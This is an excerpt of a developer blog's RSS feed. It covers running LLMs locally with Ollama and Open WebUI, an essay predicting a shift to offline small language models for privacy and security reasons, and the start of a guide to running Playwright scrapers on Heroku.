&lt;li&gt;LM Studio: the &lt;a href=&quot;https://github.com/lmstudio-ai&quot;&gt;LM Studio&lt;/a&gt; is another all-in-one rich web interface and LLM management tool that allows you to run LLMs locally from Hugging Face marketplace and interact with them via a web-based interface. LM Studio however, is not open-source.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All of these projects are open-source and free to use.&lt;/p&gt;
&lt;p&gt;The way that I have been experimenting with an offline-first approach to running LLMs locally is by combining the Ollama tool with the Open WebUI project. This allows me to run LLMs locally and manage that through the Ollama installer, and for the rich UI interaction part I use Open WebUI that exposes an intuitive ChatGPT-like web-based interface. This is made especially accessible because the Open WebUI project allows to specify a remote REST API for the inference process, so you can plug it into the stock OpenAI API or a locally running LLM, which in my case, that’s Ollama.&lt;/p&gt;
&lt;h3 id=&quot;how-to-install-ollama&quot;&gt;How to install Ollama&lt;/h3&gt;
&lt;p&gt;Getting Ollama up and running is a breeze. You can install Ollama by following these steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to the &lt;a href=&quot;https://github.com/ollama/ollama?tab=readme-ov-file&quot;&gt;Ollama open-source project on GitHub&lt;/a&gt; and download the installer for your operating system. In my case it’s a macOS installer and you end up with a &lt;code&gt;Ollama-darwin.zip&lt;/code&gt; artifact after downloading.&lt;/li&gt;
&lt;li&gt;Extract the downloaded zip file and you will find the &lt;code&gt;Ollama&lt;/code&gt; binary inside the extracted folder.&lt;/li&gt;
&lt;li&gt;Copy the &lt;code&gt;Ollama&lt;/code&gt; binary to your macOS &lt;code&gt;Application&lt;/code&gt; folder and run it from there.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once you run the Ollama installer from the Application folder you’ll get the first-time setup wizard which guides you through to installing the &lt;code&gt;ollama&lt;/code&gt; command-line tool in your path. After the installation is complete, you can run the &lt;code&gt;ollama&lt;/code&gt; command from the terminal to start the Ollama tool. As easy as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;ollama run llama3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;If you want a smaller model you can run the 128k context window version of the Phi3 model from Microsoft Research by running &lt;code&gt;ollama run ollama run phi3:3.8b-mini-128k-instruct-q4_1&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And just like that, you have a local LLM running on your machine. Here’s how it looks:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/ollama-running-locally.gif&quot; alt=&quot;Ollama running locally with a Phi3 SLM model&quot;&gt;&lt;/p&gt;
&lt;p&gt;As you can see, this model is quite biased and censored so we can’t easily get it to help us hack the planet. But, good thing we can run any model we want, eh? ;-)&lt;/p&gt;
&lt;h3 id=&quot;how-to-install-open-webui&quot;&gt;How to install Open WebUI&lt;/h3&gt;
&lt;p&gt;So yeah, you can keep interacting with your LLM model of choice via the Ollama CLI interface but that’s not really sustainable for a long time use. That’s where the Open WebUI project comes in. You can install Open WebUI using the Docker image provided by the project. As easy as running this one-off command:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;docker run -d -p 3000:8080 -e WEBUI_AUTH=False --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then you can access the Open WebUI interface by navigating to &lt;code&gt;http://localhost:3000&lt;/code&gt; in your browser. Here’s how it looks:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/open-webui-locally-connected-to-ollama.png&quot; alt=&quot;Open WebUI connected to Ollama&quot;&gt;&lt;/p&gt;
&lt;p&gt;The above Docker command uses the command-line flags to do the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start a local server on port 3000 (bound to the internal 8080 port of the Open WebUI application running inside the container)&lt;/li&gt;
&lt;li&gt;Disable authentication for the Open WebUI interface (by setting &lt;code&gt;WEBUI_AUTH=False&lt;/code&gt; environment variable)&lt;/li&gt;
&lt;li&gt;Add a host entry to the container so that it can communicate with the host machine (by setting &lt;code&gt;--add-host=host.docker.internal:host-gateway&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Mount a volume to store the data generated by the Open WebUI application (by setting &lt;code&gt;-v open-webui:/app/backend/data&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Runs in the background&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;local-first-code-assistants&quot;&gt;Local-first Code Assistants&lt;/h2&gt;
&lt;p&gt;Some emerging tooling in this space, if you wish to swap out enterprise-level code assistants like GitHub Copilot, OpenAI Codex, or Google’s Gemini, are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Continue.dev for the overall IDE integration, &lt;code&gt;ollama&lt;/code&gt; as a local LLM inference and model management, and &lt;code&gt;deepseek-coder 6.7b&lt;/code&gt; for the model.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;Codestral&lt;/code&gt; model has also been gaining traction in the local-first code assistant space, and you can test it in the HugginFace model hub.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I highly recommend you experiment with local-first LLMs for your general-purpose chat, code generation, and other text-based tasks. It’s a great way to learn about the inner workings of LLMs and how they are used in practice. The ecosystem support is very mature with great developer experience tooling and the tools I mentioned in this article are a great starting point for running LLMs locally.&lt;/p&gt;
&lt;p&gt;That’s it.
Hack the planet!&lt;/p&gt;</content:encoded></item><item><title>GenAI Predictions and The Future of LLMs as local-first offline Small Language Models (SLMs)</title><link>https://lirantal.com/blog/genai-predictions-the-future-llms-local-first-offline-small-language-models-slm/</link><guid>https://lirantal.com/blog/genai-predictions-the-future-llms-local-first-offline-small-language-models-slm/</guid><description>Current adoption craze for GenAI tools like ChatGPT bring hidden costs in the form of privacy, security, data leakage, latency and availability. The future isn&apos;t gloom though, as the future of LLMs is in local-first offline inference, open LLMs, consumer-grade GPU acceleration and micro fine-tuning model training. How and why? Read on.</description><pubDate>Wed, 12 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We’ve been increasingly accustomed to subscription-based economic model, which did not skip the GenAI hype, but there are other costs to online remote LLMs and the future, I believe, is in offline Small Language Models (SLMs). That is, until our local devices are capable enough to hosting Large Language Models (LLMs) locally, or the architecture enables hybrid inference.&lt;/p&gt;
&lt;p&gt;From Midjourney, taking the world by storm to generate visual content, to ChatGPT itself and other GenAI and LLM use-cases, all fall into the business model of a subscription service. Surprising? not really, given that the tech industry is obsessed with SaaS ever since Salesforce CEO Marc Benioff have championed it nonstop.&lt;/p&gt;
&lt;p&gt;However, running GenAI tools in a subscription-based model has more hidden costs than just recurring billing invoices to pay, and this is what I want to discuss in this article and why the future of LLMs lies in an offline-first inference capability approach, perhaps pioneered first with Small Language Models (SLMs) until hardware catches up.&lt;/p&gt;
&lt;p&gt;I’m seeing more and more validation and use-cases for running private, local-first LLMs.&lt;/p&gt;
&lt;h2 id=&quot;the-hidden-costs-of-online-third-party-llms&quot;&gt;The hidden costs of online third-party LLMs&lt;/h2&gt;
&lt;p&gt;Let’s break-down the hidden costs of online, remote hosted LLMs, and the challenges of wide-spread adoption that concern business leaders. Most specifically, these issues are centered around the problem of the GenAI service being hosted and owned by a third-party, and the implications of that. As such, there are security risks, such as prompt injection, that are orthogonal to the decision of self-hosting or using a third-party service.&lt;/p&gt;
&lt;h3 id=&quot;1-privacy&quot;&gt;1. Privacy&lt;/h3&gt;
&lt;p&gt;The most obvious cost of online, remotely hosted LLMs by a third-party is privacy.&lt;/p&gt;
&lt;p&gt;Whether you’re using a GenAI code assistant tool like GitHub Copilot, or having a general-purpose chat session with OpenAI’s ChatGPT or Google’s Gemini, you’re sending your data to a remote server, which is then processed by the LLM, and the results are sent back to you. This is a privacy nightmare, especially when you consider the fact that LLMs are trained on vast amounts of data, including personal information. Suddenly, concerns such as the following arise:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Do these companies use the data I send to them for training their models further?&lt;/li&gt;
&lt;li&gt;What if the data I send to them is sensitive? PII data, or confidential information?&lt;/li&gt;
&lt;li&gt;What if the data I send to them is proprietary? Will they use it to their advantage? Or worse, could that data leak into the model and then shared with my competitors?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To solve the really challenging and deeply-rooted business problems, you need to provide that very sensitive data to the LLM as context. Yet doing so, is a hard pill to swallow for many business leaders, especially in the financial, healthcare, and legal sectors. Tech companies are often early adapters, but even they are not rushing too quickly to adopt code assistant tools like Copilot, exactly for these reasons.&lt;/p&gt;
&lt;h3 id=&quot;2-security&quot;&gt;2. Security&lt;/h3&gt;
&lt;p&gt;When it comes to security aspects of using a third-party LLM service, the main concern involves the service provider which becomes an external attack surface.&lt;/p&gt;
&lt;p&gt;Your organization’s attack surface expands to include the service provider’s infrastructure and systems, being OpenAI and Anthropic as primary examples. Any security vulnerabilities or misconfigurations in the service provider’s environment could potentially be exploited by attackers to gain unauthorized access or conduct other malicious activities. These risks directly impact their customers - you.&lt;/p&gt;
&lt;p&gt;Have doubts on how probable security issues are for OpenAI? Let’s review a few:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here’s OpenAI write-up from March 2023 on &lt;a href=&quot;https://openai.com/index/march-20-chatgpt-outage/&quot;&gt;ChatGPT first security breach and outage&lt;/a&gt;. The underlying issue was due to the open-source Redis client library &lt;code&gt;redis-py&lt;/code&gt;. Sonatype offered a &lt;a href=&quot;https://www.sonatype.com/blog/openai-data-leak-and-redis-race-condition-vulnerability-that-remains-unfixed&quot;&gt;detailed analysis on the redis-py vulnerability&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;redis-py&lt;/code&gt; vulnerability was also a contributor to &lt;a href=&quot;https://securityaffairs.com/144184/hacking/chatgpt-account-takeover-bugs.html&quot;&gt;ChatGPT account takeover attacks&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More &lt;a href=&quot;https://www.reddit.com/r/cybersecurity/comments/1da7hp2/comment/l7id9st/&quot;&gt;chatter on Reddit&lt;/a&gt; discussion with regards to security concerns of third-party hosted LLMs is also worth reviewing.&lt;/p&gt;
&lt;h3 id=&quot;3-data-leakage&quot;&gt;3. Data leakage&lt;/h3&gt;
&lt;p&gt;From a developer perspective, a generative AI code assistant took like GitHub Copilot feels like magic sometimes, and a lot of that is due to the fact that it has access to the project’s code as context, which allows it to generate code that is more relevant and accurate. At the same time, this also means that the code you’re working on is sent to a remote server, which is then processed by the LLM on GitHub servers.&lt;/p&gt;
&lt;p&gt;It’s not just code you and your colleagues are working on that is sent to the remote server, but also the sensitive API tokens, certs, password and other information that lives in the code project on those &lt;code&gt;.env&lt;/code&gt; files and configuration files.&lt;/p&gt;
&lt;h3 id=&quot;4-latency-and-availability&quot;&gt;4. Latency and availability&lt;/h3&gt;
&lt;p&gt;As LLM usage increase as a foundational API for many applications, the latency and availability of the service become a critical factor. In some business cases, the latency of the service can be a deal-breaker, or a make-or-break factor for the user experience and the overall capability of the application.&lt;/p&gt;
&lt;p&gt;For example, if you’re building a real-time chatbot to replace support, telemarketing and such, you can’t afford to have a high latency, as it will make the conversation feel unnatural and frustrating for the user. For a text-based conversation, that to an extent is somewhat tolerable, but what about the future of voice-based conversational AI? The latency will be even more critical and easily noticeable.&lt;/p&gt;
&lt;p&gt;Availability is another issue and not one to be taken lightly. LLM services can get disrupted, even with major players like OpenAI, Google, and Microsoft. From an operational perspective, it’s not a question of if, but when, the service will be disrupted. And when it does, it can have a cascading effect on the applications that rely on it, causing a domino effect of failures.&lt;/p&gt;
&lt;p&gt;In fact, here’s the past 90 days availability of OpenAI services, as reported by &lt;a href=&quot;https://status.openai.com/&quot;&gt;status.openai.com&lt;/a&gt; and in adjacent to writing this blog post:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/open-ai-services-availability.png&quot; alt=&quot;OpenAI status API service availability 90 days&quot;&gt;&lt;/p&gt;
&lt;p&gt;On June 4th, 2024, ChatGPT had an outage that last for a few hours during Tuesday and impacted ChatGPT. Previously, this happened in November 2023 when a ChatGPT outage lasted for 90 minutes and included disruption of OpenAI API services too.&lt;/p&gt;
&lt;h2 id=&quot;the-rise-of-offline-small-language-models-slms&quot;&gt;The rise of offline Small Language Models (SLMs)&lt;/h2&gt;
&lt;p&gt;Developers and tech workers in general, are often characterized as owners of very capable hardware and these days a house-hold MacBook Pro and other laptops can easily run an 8B parameters Small Language Model (SLM) locally with good inference speed. This is a game-changer, as it allows developers to run LLMs locally, without sending their data to a remote server, and without having to worry about the privacy, data leak, and security implications of doing so.&lt;/p&gt;
&lt;p&gt;From Ollama, to llama.cpp and other open-source projects, the rise of offline-powered LLM inference is growing in adoption.&lt;/p&gt;
&lt;h3 id=&quot;predictions-and-future-outlook&quot;&gt;Predictions and future outlook&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Local-first, Hybrid-capable and Edge-inference LLMs&lt;/strong&gt;: The future of LLMs is in local-first offline inference, with a hybrid-capable remotely hosted over a network, and edge-inference deployed LLMs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Open-source &amp;#x26; Open LLMs&lt;/strong&gt;: The pre-training of LLMs will be done by large tech companies, but the fine-tuning phase and deployment will be done by developers and businesses, due to being less costly and demonstrating great ROI. Foundational pre-trained models will be open-sourced and available for fine-tuning, deployment, and scrutiny of the model’s training data, weights and biases.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Consumer-grade GPU acceleration&lt;/strong&gt;: The widespread adoption of local-first inference will further push GPU acceleration and inference compute capabilities to exist as a first-class hardware in consumer-grade devices. Just as we’re taking GPS and WiFi chips for granted in end-user consumer devices, we’ll take GPU acceleration for granted in the future.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Micro Fine-Tuning model training&lt;/strong&gt;: Fine-grained model training is already becoming a norm, with a model like &lt;code&gt;deepseek-coder 6.7b&lt;/code&gt; which is fine-tuned for specific code generation tasks. My prediction here is that the next evolution of this will be micro fine-tuning (MFT) which will create even more specialized models such as a code generation model for specific languages (JavaScript, or Python) and specialized frameworks and tooling (think React, or Django).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Where we go from here is a future where LLMs and GenAI are not just a tool for developers, but a tool at everyone’s disposal and widely deployed. &lt;em&gt;Hopefully&lt;/em&gt; in a more resilient, secure, privacy-aware, and responsible manner.&lt;/p&gt;</content:encoded></item><item><title>Installing Playwright on Heroku for Programmatic Node.js Browser Automation</title><link>https://lirantal.com/blog/installing-playwright-on-heroku-for-programmatic-nodejs-browser-automation/</link><guid>https://lirantal.com/blog/installing-playwright-on-heroku-for-programmatic-nodejs-browser-automation/</guid><description>Getting Playwright to work on Heroku wasn&apos;t smooth sailing. It looked for browser dependencies that weren&apos;t installed by default and not in the location it expected them. Here&apos;s how I did it and what I learned along the way.</description><pubDate>Fri, 31 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Installing Playwright on Heroku is a bit more involved than just running &lt;code&gt;npm install playwright&lt;/code&gt; and &lt;code&gt;npm install @playwright/test&lt;/code&gt; and setting it as a dependency that gets installed when you deploy your app to Heroku. Installing the browser dependencies didn’t work out of the box for me and I had to do some additional steps to get it working.&lt;/p&gt;
&lt;p&gt;I added Playwright web automation capabilities to my Heroku hosted Node.js backend but it wasn’t as seamless as I thought it would be. Here’s how I did it and what I learned along the way.&lt;/p&gt;
&lt;h2 id=&quot;adding-playwright-as-a-dependency&quot;&gt;Adding Playwright as a Dependency&lt;/h2&gt;
&lt;p&gt;First off, when it comes to the Playwright dependencies, you need both &lt;code&gt;playwright&lt;/code&gt; and &lt;code&gt;@playwright/test&lt;/code&gt; installed. The former is the core Playwright library and the latter is the test runner that you can use to run your Playwright tests.&lt;/p&gt;
&lt;p&gt;If your Playwright use-case isn’t end-to-end testing but rather browser automation and scraping (only from approved websites, of course), you probably need just one browser installed. In my case, I only needed Chromium. So, I switched &lt;code&gt;playwright&lt;/code&gt; for &lt;code&gt;playwright-chromium&lt;/code&gt;.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install playwright-chromium @playwright/test&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;playwright-browser-automation-via-code&quot;&gt;Playwright Browser Automation via Code&lt;/h2&gt;
&lt;p&gt;Since I want to run Playwright browser automation tool programmatically via code and not via the classic test runner (although, I do want to run Playwright tests as well), I structured the code so that I separate between the web interaction and the tests being run:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;code&gt;PageScraper.js&lt;/code&gt; file defines the code used to interact with the browser and scrape the data I need.&lt;/li&gt;
&lt;li&gt;An &lt;code&gt;e2e/&lt;/code&gt; directory contains the Playwright tests that use the &lt;code&gt;PageScraper.js&lt;/code&gt; file to interact with the browser.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This way, I can actually use the &lt;code&gt;PageScraper.js&lt;/code&gt; code in my backend API to drive the needed logic, as well as use it as the basis of sanity end-to-end tests.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;PageScraper.js&lt;/code&gt; file looks like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { chromium } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;playwright-chromium&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; PageScraper {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;constructor&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;({ Logger }) &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.Logger &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Logger;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;scrapePage&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;({ url }) &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;browser&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; chromium.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;launch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ chromiumSandbox: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;page&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; browser.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;newPage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;goto&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(url);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// the title of the blog post in this web page is found via the `txt-headline-large` class on the h1 element:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;$eval&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;.txt-headline-large&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;el&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; el.textContent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// the contents of the blog post in this web page is found via the `txt-rich-long` class on the div element:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;$eval&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;.txt-rich-long&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;el&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; el.textContent);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; browser.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;close&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      title,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      content,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then the E2E (end-to-end) test file can be as the follows &lt;code&gt;scrapers/page-scraper.spec.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { container, initDI } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;../infra/di&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
